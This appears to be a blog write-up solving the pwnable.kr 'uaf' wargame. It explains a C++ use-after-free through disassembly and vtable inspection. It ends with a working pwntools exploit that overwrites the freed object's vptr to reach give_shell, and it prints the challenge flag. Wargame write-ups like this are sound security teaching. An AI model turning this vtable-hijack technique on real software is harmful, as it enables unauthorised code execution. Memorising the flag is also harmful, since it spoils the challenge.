junh00🌈

pwnable.kr - uaf (C++)

It’s my first time to pwn with a C++ challenge. So I need to note something here.

ssh uaf@pwnable.kr -p2222 (pw:guest)

Code Review

3 choices:

  1. call the virtual function(introduce) of two objects

  2. allocate a memory chunk with arg1 size then read data from arg2 to fill that

  3. delete two objects

Find the exploitation

As the name tells, the exploit is uaf, so there is a vulnability afte delete two objects.

Our target is call the virtual function: give_shell(), the first choice call the other virtual function, maybe we can cover that function point.

so our plan is:

  1. input 3 to delete two objects

  2. allocate some useful data on the deleted memory with choice 2

  3. reuse freed memory to call the virtual function with choice 1

Solution

If we want to reuse the deleted memory, we need to set the arg1 that equals size of man object. so,

  1. we need to figure out the chunk size of man or Woman objects.
   0x0000000000400ef7 <+51>: lea    r12,[rbp-0x50]
   0x0000000000400efb <+55>: mov    edi,0x18
   0x0000000000400f00 <+60>: call   0x400d90 <_Znwm@plt>

the _Znwm@plt is new function, so 0x18is the object size.

  1. next, wo need to hijacking the virtual function pointer to get_shell. so what about the layout of virtual function address?

the below asm code is calling virtual function:

   0x0000000000400fcd <+265>: mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fd1 <+269>: mov    rax,QWORD PTR [rax]
   0x0000000000400fd4 <+272>: add    rax,0x8
   0x0000000000400fd8 <+276>: mov    rdx,QWORD PTR [rax]
   0x0000000000400fdb <+279>: mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fdf <+283>: mov    rdi,rax
   0x0000000000400fe2 <+286>: call   rdx
   0x0000000000400fe4 <+288>: mov    rax,QWORD PTR [rbp-0x30]
   0x0000000000400fe8 <+292>: mov    rax,QWORD PTR [rax]
   0x0000000000400feb <+295>: add    rax,0x8
   0x0000000000400fef <+299>: mov    rdx,QWORD PTR [rax]
   0x0000000000400ff2 <+302>: mov    rax,QWORD PTR [rbp-0x30]
   0x0000000000400ff6 <+306>: mov    rdi,rax
   0x0000000000400ff9 <+309>: call   rdx

so rdx is function address, the rdx is from [rax], the rax is from [rax] + 8, so the rax contain the pointer to the virtual function table, introduce() is the second pointer because of the offset 8.

the rax is from rbp-0x38, so it’s the pointer of the object.

Let’s see what’s in the rax:

pwndbg> x/2gx $rax
0x401570 <_ZTV3Man+16>: 0x000000000040117a 0x00000000004012d2
pwndbg> x/5i 0x000000000040117a
   0x40117a <_ZN5Human10give_shellEv>: push   rbp
   0x40117b <_ZN5Human10give_shellEv+1>: mov    rbp,rsp
   0x40117e <_ZN5Human10give_shellEv+4>: sub    rsp,0x10
   0x401182 <_ZN5Human10give_shellEv+8>: mov    QWORD PTR [rbp-0x8],rdi
   0x401186 <_ZN5Human10give_shellEv+12>: mov    edi,0x4014a8
pwndbg> x/5i 0x00000000004012d2
   0x4012d2 <_ZN3Man9introduceEv>: push   rbp
   0x4012d3 <_ZN3Man9introduceEv+1>: mov    rbp,rsp
   0x4012d6 <_ZN3Man9introduceEv+4>: sub    rsp,0x10
   0x4012da <_ZN3Man9introduceEv+8>: mov    QWORD PTR [rbp-0x8],rdi
   0x4012de <_ZN3Man9introduceEv+12>: mov    rax,QWORD PTR [rbp-0x8]

As we have seen:

get_shell address: Object->vptr->v1

introduce address: Object->vptr->(v1 + 8)

so we need to cover vptr address that after add 8 equal the address of get_shell(0x401570).

The current address is 0x401570, so we need to fill 0x401570 - 8 = 0x401568

but still a problem:

[*] Switching to interactive mode
[*] Got EOF while reading in interactive

Because the 3rd choice has deleted two objects, however we just allocate one object, the program will crash when executing first choice. so we need to allocate two memory chunks by input 2 twice.

the final exploitation:

from pwn import *

host = 'pwnable.kr'
port = 2222
user = 'uaf'
password = 'guest'
s = ssh(host=host, port=port, 
        user=user, password=password)
context.log_level = 'debug'

payload = p64(0x401568)

p = s.process(["./uaf", "24", "/dev/stdin"])
p.recvuntil('free\n')
p.sendline('3')
p.recvuntil('free\n')
p.sendline('2')
p.send(payload)
p.recvuntil('free\n')
p.sendline('2')
p.send(payload)
p.recvuntil('free\n')
p.sendline('1')
p.interactive()

Finally:

[*] Switching to interactive mode
$ ls
flag  uaf  uaf.cpp
$ cat flag
yay_f1ag_aft3r_pwning